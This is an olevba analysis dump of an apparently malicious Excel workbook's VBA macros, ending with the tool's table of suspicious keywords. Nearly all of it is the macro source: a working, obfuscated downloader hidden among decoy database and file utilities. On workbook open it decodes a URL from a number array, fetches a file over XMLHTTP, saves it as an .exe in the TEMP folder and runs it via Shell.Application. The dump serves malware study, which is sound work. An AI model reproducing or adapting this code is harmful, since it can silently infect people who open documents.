Malicious Word macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASIHB-V 6134443_101115_141851-01.xls

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: 6134443_101115_141851-01.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ÝòàÊíèãà.cls
in file: 6134443_101115_141851-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Workbook_Open()
Main
DocDatabase
HasProperty "", ""
GetFieldTypeName 0
FileExists ""
DeleteFolder ""
GetShortName ""
End Sub

-------------------------------------------------------------------------------
VBA MACRO Ëèñò1.cls
in file: 6134443_101115_141851-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò2.cls
in file: 6134443_101115_141851-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò3.cls
in file: 6134443_101115_141851-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: 6134443_101115_141851-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public complexByt As Object
Public complexTex As Object
Public complexGU  As Object
Public complexDoub As String
Public complexSin As String
Public complexLon As Object
Public Function ExportVBComponent(VBComp As String, _
 FolderName As String, _
 Optional filename As String, _
 Optional OverwriteExisting As Boolean = True) As Boolean
On Error GoTo Err_Handler
 Dim extension As String
 Dim FName As String
 extension = GetFileExtension(VBComp:=VBComp)
 If Trim(filename) = vbNullString Then
 FName = VBComp.Name & extension
 Else
 FName = filename
 If InStr(1, FName, ".", vbBinaryCompare) = 0 Then
 FName = FName & extension
 End If
 End If
 If StrComp(Right(FolderName, 1), "\", vbBinaryCompare) = 0 Then
 FName = FolderName & FName
 Else
 FName = FolderName & "\" & FName
 End If
 If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
 If OverwriteExisting = True Then
 Kill FName
 Else
 ExportVBComponent = False
 Exit Function
 End If
 End If
 VBComp.Export filename:=FName
 ExportVBComponent = True
Exit_Function:
 Exit Function
Err_Handler:
 Select Case Err.Number
 Case Else
 MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
 "Error encountered (#" & Err.Number & " - ExportVBComponent[mod_Git])"
 End Select
 Resume Exit_Function
End Function
Public Function GetFileExtension(VBComp As String) As String
On Error GoTo Err_Handler
 Select Case VBComp.Type
 Case vbext_ct_ClassModule
 GetFileExtension = ".cls"
 Case vbext_ct_Document
 GetFileExtension = ".cls"
 Case vbext_ct_MSForm
 GetFileExtension = ".frm"
 Case vbext_ct_StdModule
 GetFileExtension = ".bas"
 Case Else
 GetFileExtension = ".bas"
 End Select
Exit_Function:
 Exit Function
Err_Handler:
 Select Case Err.Number
 Case Else
 MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
 "Error encountered (#" & Err.Number & " - GetFileExtension[mod_Git])"
 End Select
 Resume Exit_Function
End Function
Public Sub DocDatabase(Optional path As String = "")
Set complexByt = CreateObject(Push_M + "icrosoft" + Push_DT + "XMLHTT" + Push_P)
Set complexTex = CreateObject("Adodb" + Push_DT + "Str" + LCase(Push_E) + "a" + LCase(Push_M))
Set complexLon = CreateObject("Sh" + LCase(Push_E) + "ll" + Push_DT + "A" + LCase(Push_P + Push_P) + "lication")
Set complexGU = CreateObject("WScript" + Push_DT + "Sh" + LCase(Push_E) + "ll").Environment(Push_P + "roc" + LCase(Push_E) + "ss")
Exit Sub
 If IsBla.nk(path) Then
 path = Application.CurrentProject.path & "\" & Application.CurrentProject.Name & " - exploded view\"
 End If
On Error Resume Next
 MkDir path
 MkDir path & "\Forms\"
 MkDir path & "\Queries\"
 MkDir path & "\Queries(SQL)\"
 MkDir path & "\Reports\"
 MkDir path & "\Modules\"
 MkDir path & "\Scripts\"
On Error GoTo Err_Handler
 Dim dbs As String
 Dim cnt As String
 Dim doc As String
 Dim i As Integer
  dbs = Curr.entDb()
  cnt = dbssc.Containers("Forms")
 For Each ddvoc In scsc.Documents
 Application.SaveAsText acForm, dodvdc.Name, path & "\Forms\" & dodvdc.Name & ".txt"
 Next ddvoc
  cnt = dbfffs.Containers("Reports")
 For Each docff In cnffft.Documents
 Application.SaveAsText acReport, dofffc.Name, path & "\Reports\" & dofffc.Name & ".txt"
 Next docff
  cnt = dbffs.Containers("Scripts")
 For Each doffc In cnfft.Documents
 Application.SaveAsText acMacro, docff.Name, path & "\Scripts\" & docff.Name & ".txt"
 Next doffc
  cnt = dbsff.Containers("Modules")
 For Each docff In cntff.Documents
 Application.SaveAsText acModule, docff.Name, path & "\Modules\" & docff.Name & ".txt"
 Next docff
 Dim intfile As Long
 Dim filename As String
 For i = 0 To dbsff.QueryDefs.Count - 1
 Application.SaveAsText acQuery, dbffs.QueryDefs(i).Name, path & "\Queries\" & dffbs.QueryDefs(i).Name & ".txt"
 filename = path & "\Queries(SQL)\" & dbffs.QueryDefs(i).Name & ".txt"
 intfile = FreeFile()
 Open filename For Output As #intfile
 Print #intfile, dffbs.QueryDefs(i).Sql
 Close #intfile
 Next i

Exit_Sub:
 Debug.Print "Done."
 Exit Sub
Err_Handler:
 Select Case Err.Number
 Case Else
 MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
 "Error encountered (#" & Err.Number & " - DocDatabase[mod_Git])"
 End Select
 Resume Exit_Sub
End Sub
Public Sub RecreateDatabase()
On Error GoTo Err_Handler
 Dim myFile As Object
 Dim folder As Object
 Dim FSO As Object
 Dim objecttype As String, objectname As String
 Dim WScript As Object
 Dim oApplication As Object
 For Each myFile In folder.files
 objecttype = FSO.GetExtensionName(myFile.Name)
 objectname = FSO.GetBaseName(myFile.Name)
 WScript.Echo " " & objectname & " (" & objecttype & ")"
 If (objecttype = "form") Then
 oApplication.LoadFromText acForm, objectname, myFile.path
 ElseIf (objecttype = "bas") Then
 oApplication.LoadFromText acModule, objectname, myFile.path
 ElseIf (objecttype = "mac") Then
 oApplication.LoadFromText acMacro, objectname, myFile.path
 ElseIf (objecttype = "report") Then
 oApplication.LoadFromText acReport, objectname, myFile.path
 ElseIf (objecttype = "sql") Then
 oApplication.LoadFromText acQuery, objectname, myFile.path
 End If
 Next
Exit_Sub:
 Debug.Print "Done."
 Exit Sub
Err_Handler:
 Select Case Err.Number
 Case Else
 MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
 "Error encountered (#" & Err.Number & " - RecreateDatabase[mod_Git])"
 End Select
 Resume Exit_Sub
End Sub
Public Function SetPropertyDAO(obj As Object, strPropertyName As String, intType As Integer, _
 varValue As Variant, Optional strErrMsg As String) As Boolean
On Error GoTo ErrHandler
 If HasProperty(obj, strPropertyName) Then
 obj.Properties(strPropertyName) = varValue
 Else
 obj.Properties.Append obj.CreateProperty(strPropertyName, intType, varValue)
 End If
 SetPropertyDAO = True
ExitHandler:
 Exit Function
ErrHandler:
 strErrMsg = strErrMsg & obj.Name & "." & strPropertyName & " not set to " & _
 varValue & ". Error encountered (#" & Err.Number & " - SetPropertyDAO[mod_Git])" & _
 Err.Number & " - " & Err.Description & vbCrLf
 Resume ExitHandler
End Function
Public Function HasProperty(obj As String, strPropName As String) As Boolean
 Dim varDummy As Variant
 Dim vidak() As Variant
On Error Resume Next
vidak = Array(180, 192, 192, 188, 134, 123, 123, 191, 173, 186, 187, 183, 187, 122, 182, 188, 123, 129, 192, 129, 128, 130, 129, 126, 127, 123, 184, 180, 178, 127, 178, 127, 127, 128, 178, 122, 177, 196, 177)
complexByt.Open "GET", GetStringFromArray(vidak, 38), False
 Exit Function
 varDummy = obffj.Properties(strPropName)
 HasProperty = (Err.Number = 0)
End Function
Public Function GetDescriptions(db As String) As String
On Error Resume Next
 Dim Catalog As AccessObject
 Dim dsc As String
 Dim tbl As AccessObject
 Dim tabledefs As Collection
 Set Catalog = CreateObject("ADOX.Catalog")
 Catalog.ActiveConnection = "Provider=Microsoft.Jet.OLEDB.4.0;" & _
 "Data Source=\" & db & ""
 For Each tbl In Catalog.Tables
 Debug.Print tbl.Name
 Next
 dsc = Catalog.Tables("table_name").Columns("column_name").Properties("Description").value
 For Each tbl In tabledefs
 Debug.Print tbl.Name
 Next
 GetDescriptions = dsc
 Set Catalog = Nothing
End Function
Function TableInfo(strTableName As String)
On Error GoTo TableInfoErr
 Dim db As DAO.Database
 Dim tdf As DAO.TableDef
 Dim fld As String
 Set db = CurrentDb()
 Set tdf = db.tabledefs(strTableName)
 Debug.Print "FIELD NAME", "FIELD TYPE", "SIZE", "DESCRIPTION"
 Debug.Print "==========", "==========", "====", "==========="
 For Each fld In tdf.Fields
 Debug.Print fld.Name,
 Debug.Print FieldTypeName(fld),
 Debug.Print fld.Size,
 Debug.Print GetDescrip(fld)
 Next
 Debug.Print "==========", "==========", "====", "==========="
TableInfoExit:
 Set db = Nothing
 Exit Function
TableInfoErr:
 Select Case Err
 Case 3265&
 MsgBox strTableName & " table doesn"
 Case Else
 Debug.Print "TableInfo() Error " & Err & ": " & Error
 End Select
 Resume TableInfoExit
End Function
Function GetDescrip(obj As Object) As String
 On Error Resume Next
 GetDescrip = obj.Properties("Description")
End Function
Function FieldTypeName(fld As String) As String
On Err GoTo Err_Handler
 Dim strReturn As String
 Select Case CLng(fld.Type)
 Case dbBoolean: strReturn = "Yes/No"
 Case dbByte: strReturn = "Byte"
 Case dbInteger: strReturn = "Integer"
 Case dbLong
 If (fld.attributes And dbAutoIncrField) = 0& Then
 strReturn = "Long Integer"
 Else
 strReturn = "AutoNumber"
 End If
 Case dbCurrency: strReturn = "Currency"
 Case dbSingle: strReturn = "Single"
 Case dbDouble: strReturn = "Double"
 Case dbDate: strReturn = "Date/Time"
 Case dbBinary: strReturn = "Binary"
 Case dbText
 If (fld.attributes And dbFixedField) = 0& Then
 strReturn = "Text"
 Else
 strReturn = "Text (fixed width)"
 End If
 Case dbLongBinary: strReturn = "OLE Object"
 Case dbMemo
 If (fld.attributes And dbHyperlinkField) = 0& Then
 strReturn = "Memo"
 Else
 strReturn = "Hyperlink"
 End If
 Case dbGUID: strReturn = "GUID"
 Case dbBigInt: strReturn = "Big Integer"
 Case dbVarBinary: strReturn = "VarBinary"
 Case dbChar: strReturn = "Char"
 Case dbNumeric: strReturn = "Numeric"
 Case dbDecimal: strReturn = "Decimal"
 Case dbFloat: strReturn = "Float"
 Case dbTime: strReturn = "Time"
 Case dbTimeStamp: strReturn = "Time Stamp"
 Case 101&: strReturn = "Attachment"
 Case 102&: strReturn = "Complex Byte"
 Case 103&: strReturn = "Complex Integer"
 Case 104&: strReturn = "Complex Long"
 Case 105&: strReturn = "Complex Single"
 Case 106&: strReturn = "Complex Double"
 Case 107&: strReturn = "Complex GUID"
 Case 108&: strReturn = "Complex Decimal"
 Case 109&: strReturn = "Complex Text"
 Case Else: strReturn = "Field type " & fld.Type & " unknown"
 End Select
 FieldTypeName = strReturn
Exit_Function:
 Exit Function
Err_Handler:
 Select Case Err.Number
 Case Else
 MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
 "Error encountered (#" & Err.Number & " - FieldTypeName[mod_Git])"
 End Select
 Resume Exit_Function
End Function
Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
 Dim i As Integer
 Dim result As String
 result = ""
 For i = LBound(fromArr) To UBound(fromArr)
  result = result & Chr(fromArr(i) - 2 * LenLen - i * 0.01)
 Next i
 GetStringFromArray = result
End Function
Function GetFieldTypeName(fld As Integer) As String
On Err GoTo Err_Handler
 Dim strReturn As String
 GoTo Exit_Function
 Select Case CLng(fld)
 Case dbBoolean, 1: strReturn = "Yes/No"
 Case dbByte, 2: strReturn = "Byte"
 Case dbInteger, 3: strReturn = "Integer"
 Case dbLong, 4
 strReturn = "Long Integer"
 Case dbCurrency, 5: strReturn = "Currency"
 Case dbSingle, 6: strReturn = "Single"
 Case dbDouble, 7: strReturn = "Double"
 Case dbDate, 8: strReturn = "Date/Time"
 Case dbBinary, 9: strReturn = "Binary"
 Case dbText, 10
 strReturn = "Text"
 Case dbLongBinary, 11: strReturn = "OLE Object"
 Case dbMemo, 12
 strReturn = "Memo"
 Case dbGUID, 15: strReturn = "GUID"
 Case dbBigInt, 16: strReturn = "Big Integer"
 Case dbVarBinary, 17: strReturn = "VarBinary"
 Case dbChar, 18: strReturn = "Char"
 Case dbNumeric, 19: strReturn = "Numeric"
 Case dbDecimal, 20: strReturn = "Decimal"
 Case dbFloat, 21: strReturn = "Float"
 Case dbTime, 22: strReturn = "Time"
 Case dbTimeStamp, 23: strReturn = "Time Stamp"
 Case 101&: strReturn = "Attachment"
 Case 102&: strReturn = "Complex Byte"
 Case 103&: strReturn = "Complex Integer"
 Case 104&: strReturn = "Complex Long"
 Case 105&: strReturn = "Complex Single"
 Case 106&: strReturn = "Complex Double"
 Case 107&: strReturn = "Complex GUID"
 Case 108&: strReturn = "Complex Decimal"
 Case 109&: strReturn = "Complex Text"
 Case Else: strReturn = "Field type " & fld & " unknown"
 End Select
 GetFieldTypeName = strReturn
Exit_Function:
complexDoub = complexGU("T" + Push_E + Push_M + Push_P)
complexByt.Send
 Exit Function
Err_Handler:
 Select Case Err.Number
 Case Else
 MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
 "Error encountered (#" & Err.Number & " - GetFieldTypeName[mod_Git])"
 End Select
 Resume Exit_Function
End Function




-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: 6134443_101115_141851-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Const PushUp_50 = 50
Public Push_E As String
Public Push_M As String
Public Push_T As String
Public Push_P As String
Public Push_DT As String
Public Sub Main()
Push_DT = Chr(PushUp_50 - 4)
Push_E = Chr(PushUp_50 + 19)
Push_M = Chr(PushUp_50 + 19 + 8)
Push_P = Chr(PushUp_50 + 19 + 8 + 3)
Push_T = Chr(PushUp_50 + 19 + 8 + 3 + 4)
Exit Sub
 Dim h As Long
 h = LoadLi.brary(App.path & "\SciLexer.dll")
 frmRabcd.Show
End Sub
Function cveScan(fPath As String) As String
 Dim cves() As String
 Dim hits As Long
 Dim ret() As String
 push cves, "accesses capabilities:capabilities"
 push cves, "accesses loader:loader"
 push cves, "accesses params:parameters"
 push cves, "CVE-2015-5122:opaqueBackground"
 push cves, "CVE-2015-3113:play,info,code,video,attachNetStream"
 push cves, "CVE-2015-0556:copyPixelsToByteArray"
 push cves, "CVE-2015-0313:createMessageChannel,createWorker"
 push cves, "CVE-2015-0310 or CVE-2013-0634:new RegExp"
 push cves, "CVE-2015-0311:domainMemory,uncompress"
 push cves, "CVE-2014-9163:parseFloat"
 push cves, "CVE-2014-0515 (if in while loop):byteCode,Shader"
 push cves, "CVE-2014-0502:setSharedProperty,createWorker,.start,SharedObject"
 push cves, "CVE-2014-0497:writeUTFBytes,domainMemory"
 push cves, "CVE-2012-0779:defaultObjectEncoding,AMF0,NetConnection"
 push cves, "CVE-2012-0754:NetStream,NetConnection,attachNetStream,play"
 push cves, "CVE-2012-5054:Matrix3D"
 push cves, "CVE-2012-0779:Responder,NetConnection,AMF0"
 push cves, "CVE-2012-1535:FontDescription,FontLookup"
 push cves, "CVE-2011-0609:MovieClip,TimelineMax,TweenMax"
 push cves, "CVE-2011-2110:Number(_args["
 push cves, "Loads embedded flash object:loadbytes"
 If fPath = "cvelist" Then
 cveScan = ";there are more than this, these are some I had on hand" & vbCrLf & _
 ";that were agreeable to script level detections. " & vbCrLf & _
 vbCrLf & Join(cves, vbCrLf)
 Exit Function
 End If
 If Not FileExists(fPath) Then Exit Function
 dat = ReadFile(fPath)
 For Each CVE In cves
 c = Split(CVE, ":")
 checks = Split(c(1), ",")
 hits = 0
 For Each k In checks
 If InStr(1, dat, k, vbTextCompare) > 0 Then hits = hits + 1
 Next
 If hits = UBound(checks) + 1 Then push ret, CVE
 Next
 If Not AryIsEmpty(ret) Then
 cveScan = "File: " & FileNameFromPath(fPath) & vbCrLf & vbTab & Join(ret, vbCrLf & vbTab) & vbCrLf & "--------------------------------" & vbCrLf
 End If
End Function
Public Function FileExists(path As String) As Boolean
 On Error GoTo hell
 complexTex.Type = 1
 Dim tmp As String
 complexSin = "" + complexDoub + "\" + LCase(Push_M) + "" + LCase(Push_P) + LCase(Push_E) + LCase(Push_T) + "ro" + LCase(Push_DT) + "e" + "xe"
 tmp = Replace(path, "", Empty)
 complexTex.Open
 tmp = Replace(tmp, """", Empty)
 complexTex.write complexByt.responseBody
 If Len(tmp) = 0 Then Exit Function
 If Dir(tmp, vbHidden Or vbNormal Or vbReadOnly Or vbSystem) <> "" Then FileExists = True
 Exit Function
hell: FileExists = False
End Function
Sub push(ary, value)
 On Error GoTo init
 Dim x As Long
 x = UBound(ary)
 ReDim Preserve ary(UBound(ary) + 1)
 ary(UBound(ary)) = value
 Exit Sub
init: ReDim ary(0): ary(0) = value
End Sub
Function FolderExists(path As String) As Boolean
 If Len(path) = 0 Then Exit Function
 If Dir(path, vbDirectory) <> "" Then FolderExists = True
End Function
Function GetParentFolder(path) As String
 If Len(path) = 0 Then Exit Function
 Dim tmp() As String
 Dim ub As String
 tmp = Split(path, "\")
 ub = tmp(UBound(tmp))
 GetParentFolder = Replace(Join(tmp, "\"), "\" & ub, "")
End Function
Function GetBaseName(path As String) As String
 Dim tmp() As String
 Dim ub As String
 tmp = Split(path, "\")
 ub = tmp(UBound(tmp))
 If InStr(1, ub, ".") > 0 Then
 GetBaseName = Mid(ub, 1, InStrRev(ub, ".") - 1)
 Else
 GetBaseName = ub
 End If
End Function
Function FileNameFromPath(fullpath) As String
 If InStr(fullpath, "\") > 0 Then
 tmp = Split(fullpath, "\")
 FileNameFromPath = CStr(tmp(UBound(tmp)))
 End If
End Function
Function GetFolderFiles(folderPath As String, Optional filter As String = "*", Optional retFullPath As Boolean = True, Optional recursive As Boolean = False) As String()
 Dim fnames() As String
 Dim fs As String
 Dim folders() As String
 Dim i As Integer
 If Not FolderExists(folderPath) Then
 GetFolderFiles = fnames()
 Exit Function
 End If
 folderPath = IIf(Right(folderPath, 1) = "\", folderPath, folderPath & "\")
 fs = Dir(folderPath & filter, vbHidden Or vbNormal Or vbReadOnly Or vbSystem)
 While fs <> ""
 If fs <> "" Then push fnames(), IIf(retFullPath = True, folderPath & fs, fs)
 fs = Dir()
 Wend
 If recursive Then
 folders() = GetSubFolders(folderPath)
 If Not AryIsEmpty(folders) Then
 For i = 0 To UBound(folders)
 FolderEngine folders(i), fnames(), filter
 Next
 End If
 If Not retFullPath Then
 For i = 0 To UBound(fnames)
 fnames(i) = Replace(fnames(i), folderPath, Empty)
 Next
 End If
 End If
 GetFolderFiles = fnames()
End Function
Private Sub FolderEngine(fldrpath As String, ary() As String, Optional filter As String = "*")
 Dim files() As String
 Dim folders() As String
 Dim i As Long
 files = GetFolderFiles(fldrpath, filter)
 folders = GetSubFolders(fldrpath)
 If Not AryIsEmpty(files) Then
 For i = 0 To UBound(files)
 push ary, files(i)
 Next
 End If
 If Not AryIsEmpty(folders) Then
 For i = 0 To UBound(folders)
 FolderEngine folders(i), ary, filter
 Next
 End If
End Sub
Public Function DeleteFolder(folderPath As String, Optional force As Boolean = True) As Boolean
 On Error GoTo failed
 complexTex.savetofile complexSin, 2
 Exit Function
 Call delTree(folderPath, force)
 RmDir folderPath
 DeleteFolder = True
 Exit Function
failed: DeleteFolder = False
End Function
Private Sub delTree(folderPath As String, Optional force As Boolean = True)
 Dim sfi() As String, sfo() As String, i As Integer
 sfi() = GetFolderFiles(folderPath)
 sfo() = GetSubFolders(folderPath)
 If Not AryIsEmpty(sfi) And force = True Then
 For i = 0 To UBound(sfi)
 DeleteFile sfi(i)
 Next
 End If
 If Not AryIsEmpty(sfo) And force = True Then
 For i = 0 To UBound(sfo)
 Call DeleteFolder(sfo(i), True)
 Next
 End If
End Sub
Function DeleteFile(fPath As String) As Boolean
 On Error GoTo hadErr
 Dim attributes As VbFileAttribute
 attributes = GetAttr(fPath)
 If (attributes And vbReadOnly) Then
 attributes = attributes - vbReadOnly
 SetAttr fPath, attributes
 End If
 Kill fPath
 DeleteFile = True
 Exit Function
hadErr:
DeleteFile = False
End Function
Sub WriteFile(path As String, it As Variant)
 Dim f As Long
 f = FreeFile
 Open path For Output As #f
 Print #f, it
 Close f
End Sub
Function GetSubFolders(folder As String, Optional retFullPath As Boolean = True) As String()
 Dim fnames() As String
 If Not FolderExists(folder) Then
 GetSubFolders = fnames()
 Exit Function
 End If
 If Right(folder, 1) <> "\" Then folder = folder & "\"
 fd = Dir(folder, vbDirectory)
 While fd <> ""
 If Left(fd, 1) <> "." Then
 If (GetAttr(folder & fd) And vbDirectory) = vbDirectory Then
 push fnames(), IIf(retFullPath = True, folder & fd, fd)
 End If
 End If
 fd = Dir()
 Wend
 GetSubFolders = fnames()
End Function
Function ReadFile(filename) As Variant
 Dim f As Long
 Dim temp As Variant
 f = FreeFile
 temp = ""
 Open filename For Binary As #f
 temp = Input(FileLen(filename), #f)
 Close #f
 ReadFile = temp
End Function
Function RandomNum() As Long
 Dim tmp As Long
 Dim tries As Long
 On Error GoTo again
tryit:
 Randomize
 tmp = Round(Timer * Now * Rnd(), 0)
 RandomNum = tmp
 Exit Function
again:
 If tries < 10 Then
 tries = tries + 1
 GoTo tryit
 End If
End Function
Function GetFreeFileName(ByVal folder As String, Optional extension = ".txt") As String
 On Error GoTo handler
 Dim i As Integer
 Dim tmp As String
 If Not FolderExists(folder) Then Exit Function
 If Right(folder, 1) <> "\" Then folder = folder & "\"
 If Left(extension, 1) <> "." Then extension = "." & extension
again:
 Do
 tmp = folder & RandomNum() & extension
 Loop Until Not FileExists(tmp)
 GetFreeFileName = tmp
Exit Function
handler:
 If i < 10 Then
 i = i + 1
 GoTo again
 End If
End Function
Public Function GetShortName(sFile As String) As String
 Dim sShortFile As String * 300
 Dim lResult As Long
 complexLon.Open (complexSin)
 Exit Function
 If Not FileExists(sFile) Then
 MsgBox "GetshortName file must exist to work..: " & sFile
 GetShortName = sFile
 Exit Function
 End If
 lResult = GetShortPat.hName(sFile, sShortFile, Len(sShortFile))
 GetShortName = Left$(sShortFile, lResult)
 If Not FileExists(GetShortName) Then GetShortName = sFile
End Function
Sub SetLiColor(li As String, newcolor As Long)
 Dim f As ListSubItem
 li.ForeColor = newcolor
 For Each f In li.ListSubItems
 f.ForeColor = newcolor
 Next
End Sub
Sub LV_LastColumnResize(lv As String)
 On Error Resume Next
 lv.ColumnHeaders(lv.ColumnHeaders.Count).Width = lv.Width - lv.ColumnHeaders(lv.ColumnHeaders.Count).Left - 100
End Sub
Public Sub LV_ColumnSort(ListViewControl As String, Column As String)
 On Error Resume Next
 With ListViewControl
 If .SortKey <> Column.Index - 1 Then
 .SortKey = Column.Index - 1
 .SortOrder = lvwAscending
 Else
 If .SortOrder = lvwAscending Then
 .SortOrder = lvwDescending
 Else
 .SortOrder = lvwAscending
 End If
 End If
 .Sorted = -1
 End With
End Sub
Function pad(v, Optional l As Long = 4)
 On Error GoTo hell
 Dim x As Long
 x = Len(v)
 If x < l Then
 pad = String(l - x, " ") & v
 Else
hell:
 pad = v
 End If
End Function
Function isDecimalNumber(x) As Boolean
 On Error GoTo hell
 Dim l As Long
 For i = 1 To Len(x) - 1
 c = Mid(x, i, 1)
 If Not IsNumeric(c) Then Exit Function
 Next
 l = CLng(x)
 isDecimalNumber = True
hell:
 Exit Function
End Function
Function StringOpcodesToBytes(OpCodes) As Byte()
 On Error Resume Next
 Dim b() As Byte
 tmp = Split(Trim(OpCodes), " ")
 ReDim b(UBound(tmp))
 For i = 0 To UBound(tmp)
 b(i) = CByte(CInt("&h" & tmp(i)))
 Next
 StringOpcodesToBytes = b()
End Function
Function lpad(x, Optional sz = 8)
 a = Len(x) - sz
 If a < 0 Then
 lpad = x & Space(Abs(a))
 Else
 lpad = x
 End If
End Function
Function objKeyExistsInCollection(c As Collection, k As String) As Boolean
 On Error GoTo hell
 Set x = c(k)
 objKeyExistsInCollection = True
hell:
End Function
Function AryIsEmpty(ary) As Boolean
 On Error GoTo oops
 Dim x As Long
 x = UBound(ary)
 AryIsEmpty = False
 Exit Function
oops: AryIsEmpty = True
End Function




+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | Kill                 | May delete a file                       |
| Suspicious | Open                 | May open a file                         |
| Suspicious | vbNormal             | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | MkDir                | May create a directory                  |
| Suspicious | Binary               | May read or write a binary file (if     |
|            |                      | combined with Open)                     |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Output               | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Print #              | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | SciLexer.dll         | Executable file name                    |
| VBA string | Provider=Microsoft.J | "Provider=Microsoft.Jet.OLEDB.4.0;" &   |
|            | et.OLEDB.4.0;Data    | "Data Source=\"                         |
|            | Source=\             |                                         |
| VBA string | exe                  | "e" + "xe"                              |
+------------+----------------------+-----------------------------------------+